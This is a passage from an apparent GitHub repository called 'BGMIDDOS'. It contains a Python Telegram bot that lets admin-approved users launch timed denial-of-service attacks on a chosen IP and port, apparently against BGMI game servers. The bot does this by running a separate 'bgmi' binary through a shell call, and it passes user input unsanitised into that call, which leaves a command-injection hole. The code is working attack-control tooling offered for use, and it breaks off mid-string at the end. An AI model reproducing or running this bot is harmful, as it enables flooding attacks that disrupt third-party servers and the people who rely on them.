├── bgmi └── reporteralpha.py /bgmi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReporterAlpha/BGMIDDOS/de53396995d95bcb8f7dfe19959a25c23ab0485b/bgmi -------------------------------------------------------------------------------- /reporteralpha.py: -------------------------------------------------------------------------------- 1 | # ReporterAlpha 2 | import telebot 3 | import subprocess 4 | import requests 5 | import datetime 6 | import os 7 | 8 | # insert your Telegram bot token here 9 | bot = telebot.TeleBot('BOT-TOKEN') 10 | 11 | # Admin user IDs 12 | admin_id = ["YOUR-UID"] 13 | 14 | # File to store allowed user IDs 15 | USER_FILE = "users.txt" 16 | 17 | # File to store command logs 18 | LOG_FILE = "log.txt" 19 | 20 | 21 | # Function to read user IDs from the file 22 | def read_users(): 23 | try: 24 | with open(USER_FILE, "r") as file: 25 | return file.read().splitlines() 26 | except FileNotFoundError: 27 | return [] 28 | 29 | # Function to read free user IDs and their credits from the file 30 | def read_free_users(): 31 | try: 32 | with open(FREE_USER_FILE, "r") as file: 33 | lines = file.read().splitlines() 34 | for line in lines: 35 | if line.strip(): # Check if line is not empty 36 | user_info = line.split() 37 | if len(user_info) == 2: 38 | user_id, credits = user_info 39 | free_user_credits[user_id] = int(credits) 40 | else: 41 | print(f"Ignoring invalid line in free user file: {line}") 42 | except FileNotFoundError: 43 | pass 44 | 45 | 46 | # List to store allowed user IDs 47 | allowed_user_ids = read_users() 48 | 49 | # Function to log command to the file 50 | def log_command(user_id, target, port, time): 51 | user_info = bot.get_chat(user_id) 52 | if user_info.username: 53 | username = "@" + user_info.username 54 | else: 55 | username = f"UserID: {user_id}" 56 | 57 | with open(LOG_FILE, "a") as file: # Open in "append" mode 58 | file.write(f"Username: {username}\nTarget: {target}\nPort: {port}\nTime: {time}\n\n") 59 | 60 | 61 | # Function to clear logs 62 | def clear_logs(): 63 | try: 64 | with open(LOG_FILE, "r+") as file: 65 | if file.read() == "": 66 | response = "Logs are already cleared. No data found" 67 | else: 68 | file.truncate(0) 69 | response = "Logs cleared successfully" 70 | except FileNotFoundError: 71 | response = "No logs found to clear" 72 | return response 73 | 74 | # Function to record command logs 75 | def record_command_logs(user_id, command, target=None, port=None, time=None): 76 | log_entry = f"UserID: {user_id} | Time: {datetime.datetime.now()} | Command: {command}" 77 | if target: 78 | log_entry += f" | Target: {target}" 79 | if port: 80 | log_entry += f" | Port: {port}" 81 | if time: 82 | log_entry += f" | Time: {time}" 83 | 84 | with open(LOG_FILE, "a") as file: 85 | file.write(log_entry + "\n") 86 | 87 | @bot.message_handler(commands=['add']) 88 | def add_user(message): 89 | user_id = str(message.chat.id) 90 | if user_id in admin_id: 91 | command = message.text.split() 92 | if len(command) > 1: 93 | user_to_add = command[1] 94 | if user_to_add not in allowed_user_ids: 95 | allowed_user_ids.append(user_to_add) 96 | with open(USER_FILE, "a") as file: 97 | file.write(f"{user_to_add}\n") 98 | response = f"User {user_to_add} Got Access successfully" 99 | else: 100 | response = "User already exist in the Bot" 101 | else: 102 | response = "Please Specify a User ID to Add." 103 | else: 104 | response = "Only Admin Can Run This Command." 105 | 106 | bot.reply_to(message, response) 107 | 108 | 109 | 110 | @bot.message_handler(commands=['remove']) 111 | def remove_user(message): 112 | user_id = str(message.chat.id) 113 | if user_id in admin_id: 114 | command = message.text.split() 115 | if len(command) > 1: 116 | user_to_remove = command[1] 117 | if user_to_remove in allowed_user_ids: 118 | allowed_user_ids.remove(user_to_remove) 119 | with open(USER_FILE, "w") as file: 120 | for user_id in allowed_user_ids: 121 | file.write(f"{user_id}\n") 122 | response = f"User {user_to_remove} Removed Successfully ." 123 | else: 124 | response = f"User {user_to_remove} not found in the list." 125 | else: 126 | response = '''Please Specify A User ID to Remove. 127 | Usage: /remove ''' 128 | else: 129 | response = "Only Admin Can Run This Command." 130 | 131 | bot.reply_to(message, response) 132 | 133 | 134 | @bot.message_handler(commands=['clearlogs']) 135 | def clear_logs_command(message): 136 | user_id = str(message.chat.id) 137 | if user_id in admin_id: 138 | try: 139 | with open(LOG_FILE, "r+") as file: 140 | log_content = file.read() 141 | if log_content.strip() == "": 142 | response = "Logs are already cleared. No data found." 143 | else: 144 | file.truncate(0) 145 | response = "Logs Cleared Successfully" 146 | except FileNotFoundError: 147 | response = "Logs are already cleared." 148 | else: 149 | response = "Only Admin Can Run This Command." 150 | bot.reply_to(message, response) 151 | 152 | 153 | 154 | @bot.message_handler(commands=['allusers']) 155 | def show_all_users(message): 156 | user_id = str(message.chat.id) 157 | if user_id in admin_id: 158 | try: 159 | with open(USER_FILE, "r") as file: 160 | user_ids = file.read().splitlines() 161 | if user_ids: 162 | response = "Authorized Users:\n" 163 | for user_id in user_ids: 164 | try: 165 | user_info = bot.get_chat(int(user_id)) 166 | username = user_info.username 167 | response += f"- @{username} (ID: {user_id})\n" 168 | except Exception as e: 169 | response += f"- User ID: {user_id}\n" 170 | else: 171 | response = "No data found" 172 | except FileNotFoundError: 173 | response = "No data found" 174 | else: 175 | response = "Only Admin Can Run This Command." 176 | bot.reply_to(message, response) 177 | 178 | 179 | @bot.message_handler(commands=['logs']) 180 | def show_recent_logs(message): 181 | user_id = str(message.chat.id) 182 | if user_id in admin_id: 183 | if os.path.exists(LOG_FILE) and os.stat(LOG_FILE).st_size > 0: 184 | try: 185 | with open(LOG_FILE, "rb") as file: 186 | bot.send_document(message.chat.id, file) 187 | except FileNotFoundError: 188 | response = "No data found." 189 | bot.reply_to(message, response) 190 | else: 191 | response = "No data found" 192 | bot.reply_to(message, response) 193 | else: 194 | response = "Only Admin Can Run This Command." 195 | bot.reply_to(message, response) 196 | 197 | 198 | @bot.message_handler(commands=['id']) 199 | def show_user_id(message): 200 | user_id = str(message.chat.id) 201 | response = f"Your ID: {user_id}" 202 | bot.reply_to(message, response) 203 | 204 | # Function to handle the reply when free users run the /bgmi command 205 | def start_attack_reply(message, target, port, time): 206 | user_info = message.from_user 207 | username = user_info.username if user_info.username else user_info.first_name 208 | 209 | response = f"{username}, Attack Started.\n\nTarget: {target}\nPort: {port}\nTime: {time} Seconds\nGame: BGMI" 210 | bot.reply_to(message, response) 211 | 212 | # Dictionary to store the last time each user ran the /bgmi command 213 | bgmi_cooldown = {} 214 | 215 | COOLDOWN_TIME =0 216 | 217 | # Handler for /bgmi command 218 | @bot.message_handler(commands=['bgmi']) 219 | def handle_bgmi(message): 220 | user_id = str(message.chat.id) 221 | if user_id in allowed_user_ids: 222 | # Check if the user is in admin_id (admins have no cooldown) 223 | if user_id not in admin_id: 224 | # Check if the user has run the command before and is still within the cooldown period 225 | if user_id in bgmi_cooldown and (datetime.datetime.now() - bgmi_cooldown[user_id]).seconds < 300: 226 | response = "You Are On Cooldown. Please Wait 5min Before Running The /bgmi Command Again." 227 | bot.reply_to(message, response) 228 | return 229 | # Update the last time the user ran the command 230 | bgmi_cooldown[user_id] = datetime.datetime.now() 231 | 232 | command = message.text.split() 233 | if len(command) == 4: # Updated to accept target, time, and port 234 | target = command[1] 235 | port = int(command[2]) # Convert time to integer 236 | time = int(command[3]) # Convert port to integer 237 | if time > 300: 238 | response = "Error: Time interval must be less than 300." 239 | else: 240 | record_command_logs(user_id, '/bgmi', target, port, time) 241 | log_command(user_id, target, port, time) 242 | start_attack_reply(message, target, port, time) # Call start_attack_reply function 243 | full_command = f"./bgmi {target} {port} {time} 300" 244 | subprocess.run(full_command, shell=True) 245 | response = f"BGMI Attack Finished. Target: {target} Port: {port} Time: {time}" 246 | else: 247 | response = "Usage :- /bgmi